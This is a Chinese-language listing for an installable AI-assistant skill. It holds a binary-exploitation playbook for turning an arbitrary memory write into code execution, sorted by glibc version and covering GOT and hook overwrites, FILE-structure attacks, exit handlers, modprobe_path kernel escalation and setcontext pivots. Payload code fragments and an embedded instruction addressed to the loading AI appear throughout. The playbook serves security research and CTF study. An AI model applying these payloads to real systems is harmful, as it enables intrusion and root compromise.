mcpField
A
arbitrary-write-to-rce

arbitrary-write-to-rce

github.com/yaklang安全2.6k3.6k 次安装6 周前更新
代码仓库

关于 arbitrary-write-to-rce

面向二进制安全研究的攻击手册,讲解如何将任意写入原语转化为代码执行。内容按 glibc 版本梳理覆盖目标,并说明相关保护机制和触发条件。

主要功能

  1. 01按 glibc 版本比较覆盖目标
  2. 02涵盖 GOT、钩子与 _IO_FILE 利用
  3. 03说明退出处理与 TLS 析构链
  4. 04介绍 modprobe_path 和 fini_array
  5. 05讲解 C++ 虚表与 setcontext 技巧

适用场景

  1. 01根据 glibc 版本选择写入目标
  2. 02在 Full RELRO 下评估替代利用路径
  3. 03分析指针保护对退出函数利用的影响
  4. 04研究堆漏洞或格式化字符串漏洞的后续利用

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill arbitrary-write-to-rce

安装后在 Claude Code 中输入/arbitrary-write-to-rce确认已加载。

详细介绍

技巧:任意写入转代码执行——专家攻击手册

AI 加载指令:介绍将任意写入原语转化为代码执行的专家技巧。涵盖按 glibc 版本兼容性分类的所有主要覆盖目标:GOT、__malloc_hook、__free_hook、_IO_FILE vtable、__exit_funcs、TLS_dtor_list、_dl_fini、modprobe_path、.fini_array、C++ vtable 和 setcontext gadget。这是“最后一公里”技巧。基础模型通常会选择已不存在的 hook(glibc 2.34 之后),或忽略指针混淆的要求。

0. 相关路由


1. 按 GLIBC 版本选择目标

目标glibc < 2.242.24–2.33≥ 2.34所需知识
GOT 覆盖可用(Partial RELRO)可用(Partial RELRO)可用(Partial RELRO)二进制基址
__malloc_hook可用可用已移除libc 基址
__free_hook可用可用已移除libc 基址
__realloc_hook可用可用已移除libc 基址
_IO_FILE vtable(直接)可用vtable 范围检查vtable 范围检查libc 基址 + 堆
通过 _IO_str_jumps 利用 _IO_FILE不适用可用(2.24–2.27)已修补libc 基址 + 堆
通过 _IO_wfile_jumps 利用 _IO_FILE不适用可用(≥ 2.28)可用libc 基址 + 堆
__exit_funcs可用可用可用libc 基址 + 指针保护值
TLS_dtor_list不适用不适用可用TLS 地址 + 指针保护值
_dl_fini / link_map可用可用可用ld.so 基址
modprobe_path(内核)可用可用可用内核基址
.fini_array可用可用可用二进制基址(若可写)
C++ vtable可用可用可用对象地址 + 堆
setcontext gadget可用可用(在 2.29 中有变化)可用libc 基址
栈返回地址始终可用始终可用始终可用栈地址

2. GOT 覆盖

替换全局偏移表中的函数指针。

要求
  • Partial RELRO(.got.plt 可写)——Full RELRO 会完全阻止这种方式
常见目标
覆盖来源覆盖为触发方式
printf@GOTsystem下一次调用 printf(user_input),输入为 /bin/sh
free@GOTsystem下一次调用 free(ptr),其中 ptr 指向 "/bin/sh"
strlen@GOTsystem下一次调用 strlen(user_input)
atoi@GOTsystem下一次调用 atoi(user_input),输入为 "sh"
puts@GOTsystem下一次调用 puts(user_input)
exit@GOTmain 或 gadget创建循环,以进行多轮利用
__stack_chk_fail@GOTret gadget禁用 canary 检查
# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})

# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address

3. __malloc_hook / __free_hook(glibc < 2.34)

__malloc_hook
# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c')  # printf calls malloc internally for large format
__free_hook
# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it
用 Realloc 技巧满足 one_gadget 约束
# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2)  # +2, +4, +6 etc. to adjust

4. _IO_FILE VTABLE

完整详情请参阅 IO_FILE_EXPLOITATION.md。

按版本快速概览
glibc方法Vtable 目标
< 2.24直接覆盖 vtable将 vtable 指向伪造表,并在 __overflow 偏移处放置 system
2.24–2.27_IO_str_jumps位于有效范围内;_IO_str_finish 会调用 _s._free_buffer
≥ 2.28_IO_wfile_jumps宽字符路径:_wide_data->_wide_vtable 不进行范围检查
≥ 2.35House of Cat_IO_wfile_seekoff → _IO_switch_to_wget_mode → 调用伪造的宽字符 vtable
FSOP 触发方式
# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW

5. __exit_funcs / __atexit

// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
//   stored = ROL(ptr ^ __pointer_chk_guard, 0x11)
利用
# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
    return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff

# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main
不了解指针保护

如果可以同时覆盖函数指针和指针保护值(位于 TLS 的 fs:[0x30]):

  1. 将指针保护值设为 0
  2. 将函数指针设为 ROL(target, 0x11)
  3. 解混淆:ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target

6. TLS_dtor_list(glibc ≥ 2.34)

线程局部析构函数列表——2.34 及更高版本的主要攻击目标。

// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)
位置
TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force
利用
# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr)  # func (mangled with pointer guard)
entry += p64(arg_value)         # obj (passed as argument to func)
entry += p64(0)                 # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)

7. _dl_fini / LINK_MAP 损坏

攻击途径

在 exit() 期间,_dl_fini 会遍历 link_map 列表并调用 DT_FINI_ARRAY 条目。

// In _dl_fini:
for each loaded library (link_map entry):
    if l_info[DT_FINI_ARRAY]:
        array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
        for each entry in array:
            entry()  // call destructor
利用
  1. 损坏某个 link_map 条目的 l_addr(重定位基址),以移动 FINI_ARRAY 指针
  2. 或者损坏 l_info[DT_FINI_ARRAY],使其指向伪造数组
  3. 伪造数组中包含目标函数指针(system、one_gadget)
  4. 触发:exit() → _dl_fini → 调用伪造的析构函数

优势:无需指针混淆(FINI_ARRAY 中的函数指针不会被混淆)。


8. modprobe_path(内核)

覆盖内核的 modprobe_path,以 root 身份执行任意命令。

# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
#    with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')

# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x

# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as root

内核写入原语请参阅 kernel-exploitation。


9. .fini_array

覆盖程序正常退出时调用的析构函数指针。

# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)

# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit

限制:Full RELRO 二进制中的 .fini_array 可能是只读的。


10. C++ 虚函数表覆盖

// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers

// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...
# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0)              # offset -0x10 (RTTI info)
fake_vtable += p64(0)             # offset -0x08 (RTTI info)
fake_vtable += p64(target_func)   # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func)   # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object

11. setcontext 小工具

libc 中的 setcontext 会从 ucontext_t 结构加载寄存器,可用作栈迁移小工具。

glibc < 2.29
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control
glibc ≥ 2.29
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues

# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext

12. 决策树

You have an arbitrary write primitive. What to target?

├── What's the RELRO level?
│   ├── None / Partial → GOT overwrite (simplest, most reliable)
│   │   └── printf→system, free→system, atoi→system
│   └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│   ├── < 2.34 (hooks available)
│   │   ├── __free_hook = system → free("/bin/sh") [easiest]
│   │   ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│   │   └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│   │
│   ├── ≥ 2.34 (no hooks)
│   │   ├── Know pointer guard (fs:[0x30])?
│   │   │   ├── YES → __exit_funcs or TLS_dtor_list
│   │   │   └── NO → overwrite pointer guard to 0 first, then exit_funcs
│   │   ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│   │   │   └── Need: libc base + heap address + controllable FILE structure
│   │   ├── _dl_fini link_map corruption
│   │   │   └── Need: ld.so base address
│   │   └── .fini_array (if writable)
│   │       └── Need: binary base (no PIE, or PIE base leaked)
│   │
│   └── Any version
│       ├── Stack return address (if stack address known)
│       └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│   ├── modprobe_path (simplest kernel→root)
│   ├── core_pattern (/proc/sys/kernel/core_pattern)
│   └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
    └── setcontext gadget: arbitrary write → pivot RSP → ROP chain
        ├── glibc < 2.29: setcontext+53 (uses RDI)
        └── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)

评论

支持 Markdown